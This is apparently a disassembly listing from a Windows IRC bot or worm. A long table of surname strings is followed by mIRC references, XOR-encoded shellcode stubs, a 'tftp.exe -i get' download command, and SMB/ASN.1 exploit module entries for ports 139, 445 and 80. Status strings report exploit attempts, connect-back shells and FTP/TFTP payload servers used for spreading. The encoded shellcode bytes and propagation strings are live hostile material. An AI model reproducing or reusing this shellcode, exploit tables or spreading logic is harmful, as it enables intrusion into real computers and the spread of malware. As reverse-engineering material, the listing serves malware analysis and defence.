aChurch		db 'Church',0           ; DATA XREF: ___:0042D994o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D990o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D98Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D988o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D984o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D980o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D97Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D978o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D974o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D970o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D96Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D968o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D964o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D960o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D95Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D958o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D954o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D950o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D94Co
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D948o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D944o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D940o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D93Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D938o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D934o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042D930o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D92Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D928o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D924o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D920o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D91Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D918o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D914o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D910o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D90Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D908o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D904o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D900o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D8FCo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D8F8o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8F4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8F0o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8ECo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8E8o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8E4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8E0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8DCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8D8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8D4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8D0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8CCo
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8C8o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D8C4o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D8C0o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D8BCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D8B8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D8B4o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D8B0o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D8ACo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D8A8o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D8A4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D8A0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D89Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D898o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D894o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D890o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D888o
					; ___:0042D88Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D884o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D880o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D87Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D878o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D874o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D870o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D86Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D868o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D864o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D860o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D85Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D858o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D854o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D850o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D84Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D848o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D844o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D840o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D83Co
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D838o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D834o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D830o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D82Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D828o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D824o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042D820o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D81Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D818o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D814o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D810o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D80Co
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D808o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D804o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D800o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D7FCo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D7F8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7F4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7F0o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7ECo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7E8o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7E4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7E0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7DCo
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7D8o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7D4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7D0o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7CCo
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7C8o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042D7C4o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D7C0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D7BCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D7B8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D7B4o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D7B0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D7ACo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D7A8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D7A4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D7A0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D79Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D798o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D794o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D790o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D78Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D788o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D784o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D780o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D77Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D778o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D774o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D770o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D76Co
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D768o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D764o
aBean		db 'Bean',0             ; DATA XREF: ___:0042D760o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D75Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D758o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D754o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D750o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D74Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D748o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D744o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D740o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D73Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D738o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D734o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D730o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D72Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D728o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D724o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D720o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D71Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D718o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D714o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D710o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D70Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D708o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D704o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D700o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D6FCo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D6F8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6F4o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6F0o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6ECo
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6E8o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6E4o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6E0o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6DCo
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6D8o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6D4o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6D0o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6CCo
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6C8o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D6C4o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D6C0o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D6BCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D6B8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D6B4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D6B0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D6ACo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D6A8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D6A4o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D6A0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D69Co
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D698o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D694o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D690o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D68Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D688o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D684o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D680o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D67Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D678o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D674o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D670o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D66Co
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D668o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D664o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D660o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D65Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D658o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D654o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D650o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D64Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D648o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D644o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D640o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D63Co
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D638o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D634o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D630o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D62Co
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D628o
		align 10h
byte_431280	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_431284	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431288	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431290	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_431294	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_431298	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_43129C	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_4312A0	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_4312A4	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_4312A8	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_4312AC	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_4312B0	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_4312B8	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312C8
; ---------------------------------------------------------------------------

loc_4312C6:				; CODE XREF: ___:loc_4312C8p
		jmp	short loc_4312CD
; ---------------------------------------------------------------------------

loc_4312C8:				; CODE XREF: ___:004312C4j
		call	loc_4312C6

loc_4312CD:				; CODE XREF: ___:loc_4312C6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312D4:				; CODE XREF: ___:004312D9j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312D4
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312EA:				; CODE XREF: ___:004312EFj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312EA
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_43138C
		jnz	short loc_431378
		retn
; ---------------------------------------------------------------------------

loc_431378:				; CODE XREF: ___:00431375j
					; ___:00431385j
		call	near ptr loc_43137D+1

loc_43137D:				; CODE XREF: ___:loc_431378p
		add	[edx+0], ch
		call	sub_43138C
		jz	loc_431378
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43138C	proc near		; CODE XREF: ___:00431370p
					; ___:00431380p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_43138C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431438	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_43143C	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431440	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_431444	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431448	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_43144C	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 4
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 4
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 4
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445_0	db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 4
		db 2 dup(0)
byte_43161A	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_1	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431646

; =============== S U B	R O U T	I N E =======================================



sub_431636	proc near		; CODE XREF: sub_431636:loc_431646p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_43163E:				; CODE XREF: sub_431636+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_43163E
		jmp	short loc_43164B
; ---------------------------------------------------------------------------

loc_431646:				; CODE XREF: ___:00431634j
		call	sub_431636

loc_43164B:				; CODE XREF: sub_431636+Ej
		jo	short near ptr dword_4315D4+12h
		cwde
		cdq
		cdq
		retn
sub_431636	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 4
dword_4317C8	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317D4	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317F4	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_43183C	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431878	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431888	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_4318A4	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318D8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431908	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431928	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431944	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431978	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319E0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431A14	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A48	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
